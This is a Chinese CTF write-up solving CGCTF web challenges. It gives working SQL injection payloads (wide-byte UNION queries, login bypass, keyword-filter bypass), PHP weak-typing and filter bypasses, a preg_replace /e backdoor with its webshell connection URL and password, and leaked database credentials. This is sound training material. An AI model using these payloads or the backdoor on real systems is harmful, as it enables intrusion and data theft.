CGCTF Web-Writeup

抽空整理了一下CGCTF平台的Web题的writeup。

0x01 签到题(题目地址:http://chinalover.sinaapp.com/web1/)

签到题,源码可以获取flag。

《CGCTF Web-Writeup》

0x02 md5 collision(题目地址:http://chinalover.sinaapp.com/web19/)

题目提供了源码:

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}

考察PHP弱类型,如果字符串满足0e\d+,解析为科学计数法,即结果为0。这里md5('QNKCDZO')的结果正好满足0e\d+的形式,所以以get方式传入一个md5值满足0e\d+形式的值给参数$a即可。

《CGCTF Web-Writeup》

0x03 签到2(题目地址:http://teamxlc.sinaapp.com/web1/02298884f0724c04293b4d8c0178615e/index.php)

签到题,修改前端input标签的maxlength的长度然后输入口令即可获取flag。

《CGCTF Web-Writeup》

0x04 这题不是WEB(题目地址:http://chinalover.sinaapp.com/web2/index.html)

简单的信息隐藏,修改2.gif后缀为.txt,打开拖到末尾即可获取flag。

《CGCTF Web-Writeup》

0x05 层层递进(题目地址:http://chinalover.sinaapp.com/web3/)

如题,层层递进,源码可以看到有一个SO.html,点进去,仔细看出现一个S0.html,继续点,出现了SO.htm,继续点,出现了S0.htm,继续点,出现了404.html,查看源码,可以获取flag。

此处也可以使用burp进行爬虫,可以很快爬出上述几个文件,直接查看404.html源码可以获取flag。

《CGCTF Web-Writeup》

0x06 AAencode(题目地址:http://homura.cc/CGfiles/aaencode.txt)

这题编码有点问题,直接浏览器打开好像是unicode,右键另存为aaencode.txt,打开就可以拿到正常的aaencode,拿到浏览器控制台即可执行,获取flag。

《CGCTF Web-Writeup》

0x07 单身二十年(题目地址:http://chinalover.sinaapp.com/web8/)

打开题目,源码看一下,发现search_key.php,但是点击后却直接跳到no_key_is_here_forever.php,抓包看一下就可以获取flag。

《CGCTF Web-Writeup》

0x08 php decode(题目地址:无)

给了一个类似编码的shell,要解码。

<?php
function CLsI($ZzvSWE) {
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
    }
    return $ZzvSWE;
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

直接执行会报eval语法错误,那么我们改成echo输出一下看解码后的信息,可以直接获取flag。

《CGCTF Web-Writeup》

0x09 文件包含(题目地址:http://4.chinalover.sinaapp.com/web7/index.php)

如题,文件包含,使用伪协议php://filter分别获取index.php,show.php的源码并base64解码,发现flag在index.php末尾。

《CGCTF Web-Writeup》

0x10 单身一百年也没用(题目地址:http://chinalover.sinaapp.com/web9/)

跟0x07类似,抓包可以发现在响应头有flag。

《CGCTF Web-Writeup》

0x11 Download~!(题目地址:http://way.nuptzj.cn/web6/)

任意文件下载,观察下载文件的链接,发现参数url的值是经过base64编码的,所以我们尝试下载其他文件,在download.php发现包含了hereiskey.php,直接下载之可以获取flag。

《CGCTF Web-Writeup》

0x12 COOKIE(题目地址:http://chinalover.sinaapp.com/web10/index.php)

抓包,修改cookie为1即可获取flag。

《CGCTF Web-Writeup》

0x13 MYSQL(题目地址:http://chinalover.sinaapp.com/web11/)

提示robots.txt,给了源码:

别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

很明显考的是intval()的用法,php官网说的是获取变量的整数值,所以这里只需要给参数id传入一个整数位为1024,小数位随便一个不为0的值即可绕过验证获取flag。

《CGCTF Web-Writeup》

0x14 GBK Injection(题目地址:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1)

宽字节注入,没有任何过滤。注入语句如下:

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27+union+select+1,database()--+
sae-chinalover

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
ctf,ctf2,ctf3,ctf4,news

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select group_concat(column_name) from information_schema.columns where table_name=0x63746634)--+
id,flag

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select flag from ctf4)--+
nctf{gbk_3sqli}
0x15 /x00(题目地址:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php)

给了源代码:

if (isset ($_GET['nctf'])) {
   if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
        echo '必须输入数字才行';
   else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
        die('Flag: '.$flag);
else
   echo '骚年,继续努力吧啊~';
    }

本题需要绕过ereg()函数,有两种方法:

法一:数组绕过
index.php?nctf[]=#biubiubiu
法二:\x00截断
index.php?nctf=1%00%23biubiubiu
0x16 bypass again(题目地址:http://chinalover.sinaapp.com/web17/index.php)

题目给了源码:

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

跟0x02一样的。index.php?a=240610708&b=QNKCDZO

另外,md5(array)的值为空,所以另一种解法为:index.php?a[]=&b[]=1

《CGCTF Web-Writeup》

0x17 变量覆盖(题目地址:无)

题目给了代码:

<?php
include("secret.php");
?>

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>

<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
    <code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>  

典型的变量覆盖,extract()函数的$extract_type缺省值为1,若没有另外指定,函数将覆盖已有变量,故传入任意pass和与之相等的thepassword_123即可获取flag。

《CGCTF Web-Writeup》

0x18 PHP是世界上最好的语言(题目地址:http://way.nuptzj.cn/php/index.php)

给了源码:

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

<br><br>
Can you authenticate to this website?

绕过eregi()函数与ereg()函数一样,由于$_GET 会自动对参数调用 urldecode,此处需要urlencode两次,再进行提交即可获取flag。

《CGCTF Web-Writeup》

0x19 伪装者(题目地址:http://chinalover.sinaapp.com/web4/xxx.php)

加了X-forwarded-for也没用,加了referer也没用,有点奇怪。。

0x20 Header(题目地址:http://way.nuptzj.cn/web5/)

根据提示查看响应头,可以发现flag。

《CGCTF Web-Writeup》

0x21 上传绕过(题目地址:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html)

00截断上传。

《CGCTF Web-Writeup》

0x22 SQL注入1(题目地址:http://chinalover.sinaapp.com/index.php)

给了源代码:

<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

本题主要在于拼接sql语句的时候能够查询出user为admin的结果,此处只需要闭合user参数并注释掉后面的语句即可。
post以下内容:user=admin')-- -&pass=123或user=admin')#&pass=123

《CGCTF Web-Writeup》

0x23 pass check(题目地址:http://chinalover.sinaapp.com/web21/)

给了代码:

$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

考察strcmp()弱类型,传入数组时会返回null。所以post的数据为pass[]=1可以获取flag

《CGCTF Web-Writeup》

0x24 起名字真难(题目地址:无)

给了源码:

<?php
function noother_says_correct($number)
{
       $one = ord('1');
       $nine = ord('9');
       for ($i = 0; $i < strlen($number); $i++)
       {   
               $digit = ord($number{$i});
               if ( ($digit >= $one) && ($digit <= $nine) )
               {
                       return false;
               }
       }
          return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else 
   echo 'access denied';
?>

源码要求不能传入1-9的数字,但跟54975581388要相等,这里我们可以转换一下进制,传入0xccccccccc即可获取flag。

《CGCTF Web-Writeup》

0x25 密码重置(题目地址:http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==)

将user参数改为admin,将url的user1参数改成admin的base64编码传入即可获取flag。

《CGCTF Web-Writeup》

0x26 php 反序列化(暂时无法做)(题目地址:无)

代码如下:

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
    
    $o = unserialize($pass);
    
    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
?>

本题考点在于反序列化后,secret会被重新赋值为一个未知的值,但要求enter跟secret的值一致才能拿到flag。
这里主要考察一个知识点:对象包含的引用在序列化时也会被存储。
我们通过将secret的引用赋值给enter,这样就可以同步变化,绕过验证。
产生payload的代码:

<?php
class just4fun {
    var $enter;
    var $secret;
}

$JuH0n = new just4fun();
$JuH0n -> enter = &$JuH0n -> secret;
$pass = serialize($JuH0n);
print_r($pass);
?>
0x27 SQL Injection(题目地址:http://chinalover.sinaapp.com/web15/index.php)

源码如下:

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;
-->

代码中clean()函数去掉转义,htmlentities($str, ENT_QUOTES)会转换单引号和双引号。这里我们只能通过引入反斜杠,转义原有的单引号,改变原sql语句的逻辑,导致sql注入。
payload如下:?username=\&password=%20or%201%23
最终sql语句为

SELECT * FROM users WHERE
name='\' AND pass=' 
or 1
#'

《CGCTF Web-Writeup》

0x28 综合题(题目地址:http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php)
  1. 打开链接得到一段jsfuck,丢控制台运行得到1bc29b36f623ba82aaf6724fd3b16718.php
  2. 访问,在HTTP响应头得到提示tip:history of bash;
  3. 访问/.bash_history,得到压缩命令:zip -r flagbak.zip ./*
  4. 根据压缩文件名下载得到flag

《CGCTF Web-Writeup》

0x29 system(暂时无法做)(题目地址:无)
0x30 SQL注入2(题目地址:http://4.chinalover.sinaapp.com/web6/index.php)

关键代码:

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>

这道题可以直接通过参数user注出admin的密码,然后登陆拿flag,也可以直接按照出题者的意图,通过union查询来绕过。

当union前面的语句查询不成功的时候会执行后面的语句,所以构造下面的payload:user=' union select '0a7218bcb617e2f64ff5b07415e43f49&pass=JuH0n即可登陆成功,其中0a7218bcb617e2f64ff5b07415e43f49为“JuH0n`的md5值。

0x31 综合题2(题目地址:http://cms.nuptzj.cn/)

简单收集一下信息可以得到一下文件结构:

about.php?file=sm.txt
index.php?page=1
preview.php
say.php
so.php
config.php  存放数据库信息
passencode.php
antiinject.php

admin表结构 create table admin ( id integer, username text, userpass text, )

#下面文件由后续操作获得
antixss.php  //通过伪协议发现
conpass.php  //通过伪协议发现

about.php?file=sm.txt猜测文件包含,通过php://filter伪协议可以读取上述文件(除了config)的源码。
about.php源码如下:

<?php
$file = $_GET['file'];
if ($file == "" || strstr($file, 'config.php')) {
    echo "file参数不能为空!";
    exit();
} else {
    $cut = strchr($file, "loginxlcteam");
    if ($cut == false) {
        $data = file_get_contents($file);
        $date = htmlspecialchars($data);
        echo $date;
    } else {
        echo "<script>alert('敏感目录,禁止查看!但是。。。')</script>";
    }
}

发现存在目录loginxlcteam/,访问发现是后台,我们想办法登陆后台,测试不同用户名发现存在admin用户,但是密码好像没办法猜测或者通过注入登陆框获得,我们找其他注入点,分析其他文件。
so.php源码:

<?php
if ($_SERVER['HTTP_USER_AGENT'] != "Xlcteam Browser") {
    echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id = $_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id = antiinject($id);
$con = mysql_connect($db_address, $db_user, $db_pass) or die("不能连接到数据库!!" . mysql_error());
mysql_select_db($db_name, $con);
$id = mysql_real_escape_string($id);
$result = mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs = mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']) . ':<br />    ' . antixss($rs['say']) . '<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>

antiinject.php源码:

<?php
function antiinject($content) {
    $keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
    $info = strtolower($content);
    for ($i = 0;$i <= count($keyword);$i++) {
        $info = str_replace($keyword[$i], '', $info);
    }
    return $info;
}
?>

可以发现,

  1. 验证$_SERVER['HTTP_USER_AGENT']字段是否为Xlcteam Browser
  2. so.php的参数为整数型,并且通过antiinject.php进行防注入
  3. antiinject.php只是将关键字替换为空

所以我们可以这样绕过:

  1. 抓包,添加User-Agent字段
  2. 双写绕过关键字过滤,/**/可代替空格
    3.使用union联合查询,结合admin表的结构直接查出admin的密码

payload如下:

soid=1/**/a=nd/**/0/**/uni=on/**/se=lect/**/1,(se=lect/**/group_concat(userpa=ss)/**/fr=om/**/adm=in),3,4

通过登陆我们获得了一个后门(回调后门)的文件名xlcteam.php,使用伪协议读取源码。
xlcteam.php 源码:

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '|.*|e',);
array_walk($arr, $e, '');
?>

参考P神的文章,直接使用菜刀链接可以找到flag。

URL:http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
密码:wtf

《CGCTF Web-Writeup》

此题到此结束,但同时可以读取到config.php的内容,连接上去可以操作数据库。。

<?php
$db_address = 'ctf.nuptzj.cn';
$db_user = 'sae-exploitblog';
$db_pass = 'asdfqwer';
$db_name = 'sae-exploitblog';
?>
0x32 密码重置2(题目地址:http://nctf.nuptzj.cn/web14/index.php)

TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器,并且异常退出会留下备份文件
3.弱类型bypass

通过页面源码可以找到管理员邮箱admin@nuptzj.cn
访问.submit.php.swp得到submit.php源代码。

........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
        echo $flag;
    }else{
        echo "失败了呀";
    }
}

源码要求token的长度为10并且token的值为0,我们可以利用0e\d+的值为0的知识点,也可以直接传入0000000000,这样就可以绕过而获取flag。

《CGCTF Web-Writeup》

0x33 file_get_contents(题目地址:erhttp://chinalover.sinaapp.com/web23/)

给了源码:

<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
    echo $nctf;
}-->

此处可以通过伪协议php://input访问请求的原始数据的只读流。

《CGCTF Web-Writeup》

0x34 变量覆盖(题目地址:http://chinalover.sinaapp.com/web24/)

变量覆盖,代码审计类题目

源码:

<!--foreach($_GET as $key => $value){  
        $$key = $value;  
}  
if($name == "meizijiu233"){
    echo $flag;
}-->

只考了一个知识点,$$变量覆盖。给参数name赋值meizijiu233就可以直接覆盖掉name参数原来的值了。

《CGCTF Web-Writeup》

    原文作者:ch3ckr
    原文地址: https://www.jianshu.com/p/75dc5f2dcf50
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞